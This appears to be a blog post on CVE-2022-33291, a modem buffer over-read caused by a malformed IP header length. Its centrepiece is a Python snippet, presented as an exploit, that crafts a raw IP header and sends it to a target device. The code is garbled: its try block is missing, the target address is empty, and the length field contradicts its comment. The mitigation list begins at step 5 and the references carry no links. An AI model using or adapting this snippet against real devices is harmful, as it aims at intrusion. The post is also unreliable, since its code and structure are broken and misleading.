The CVE-2022-33291 vulnerability is an information disclosure vulnerability that pertains to a buffer over-read issue occurring in specific modem devices. The modem's firmware, while processing an IP header with a malformed length, could lead to information disclosure due to this buffer over-read issue.

This blog post will delve into the details of the vulnerability, along with a code snippet for exploiting it, mitigation steps, and references to original sources.

Vulnerability Details

The vulnerability exists in the modem's functionality responsible for processing incoming IP headers. When the modem receives an IP header containing an invalid length, it fails to properly validate this input and ends up overshooting the buffer. As a result, adjacent memory data may be accessed by the attacker, potentially exposing sensitive information.

This issue could allow attackers to gain unauthorized access to valuable data, leading to further exploitation or manipulation of the target device or its connected systems.

The following is a Python code snippet for exploiting this vulnerability

import socket

# Target IP and port
target_ip = ""
target_port = 808

# Craft the malformed IP header
header = b"\x45"  # IP Version (4) and header length (5)
header += b"\x00"  # Differentiated Services Field (DSF)
header += b"\x00\x00"  # Total Length, xFFFF is the maximum
header += b"\x00\x00"  # Identification
header += b"\x00\x00"  # Flags and fragment offset
header += b"\x80"  # Time To Live (TTL)
header += b"\x00"  # Protocol ( for unspecified)
header += b"\x00\x00"  # Header checksum
header += b"\x00\x00\x00\x00"  # Source IP
header += socket.inet_aton(target_ip)  # Target IP

# Create a raw socket
sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)

# Disable IP header auto-generation
sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)

    # Send the crafted packet
    sock.sendto(header, (target_ip, target_port))
except Exception as e:
    print(f"Error: {str(e)}")
    # Close the socket

The exploit aims to target specific modem devices, so before attempting any exploitation, ensure that this vulnerability is present in the target device's firmware.

Continuously monitor and respond to security vulnerabilities and risks.

5. Refer to modem manufacturers' security advisories and apply the appropriate fixes or updates as soon as possible.

1. CVE Details
2. National Vulnerability Database
3. Vulnerability Announcement by Vendor


The CVE-2022-33291 vulnerability highlights the importance of proper input validation and buffer boundary checking in system design. By understanding such vulnerabilities, implementing recommended mitigation steps, and keeping firmware up-to-date, users and organizations can be better prepared to address potential security risks and protect their sensitive information effectively.


Published on: 04/13/2023 07:15:00 UTC
Last modified on: 04/24/2023 14:11:00 UTC